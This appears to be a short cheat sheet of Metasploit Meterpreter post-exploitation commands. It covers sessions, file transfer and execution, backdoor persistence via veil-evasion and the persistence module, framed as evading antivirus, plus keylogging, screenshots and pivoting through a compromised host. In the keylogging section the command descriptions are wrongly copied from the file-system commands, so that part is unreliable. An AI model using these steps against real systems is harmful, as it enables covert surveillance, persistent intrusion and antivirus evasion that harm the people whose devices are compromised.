Post Exploitation¶
Meterpreter Basics¶
help- shows helpbackground- backgrounds current sessionsessions -l- list all sessionssessions -i- interact with a certain sessionsysinfo- display system infoipconfig- displays infor about interfacesgetuid- shows current user
File System Commands¶
pwd- shows current working directoryls- list files in current working directorycd [location]- changes working directorycat [file]- prints the content of file on screendownload [file]- downloads fileupload [file]- uploads fileexecute -f [file]- executes file
Maintaining Access¶
-
Using a veil-evasion
- rev_http_service
- rev_tcp_service
- Use it instead of a normal backdoor
- Or upload and execute from meterpreter
- Does not always work
-
Using persistence module
- run persistence -h
- Detectable by antivirus programs
-
Using metasploit + veil-evasion = more rubust + undetectable by antivirus
use exploit/windows/local/persistenceset session [session id]set exe::custom [backdoor location]exploit
Key Logging¶
-
Log all mouse/keyboard events
keyscan_start- shows current working directorykeyscan_dump- lists files in the current working directorykeyscan_stop- changes working directory to locationscreenshot
Pivoting¶
- Use the hacked device as a pivot
- Try to gain access to other devices in the network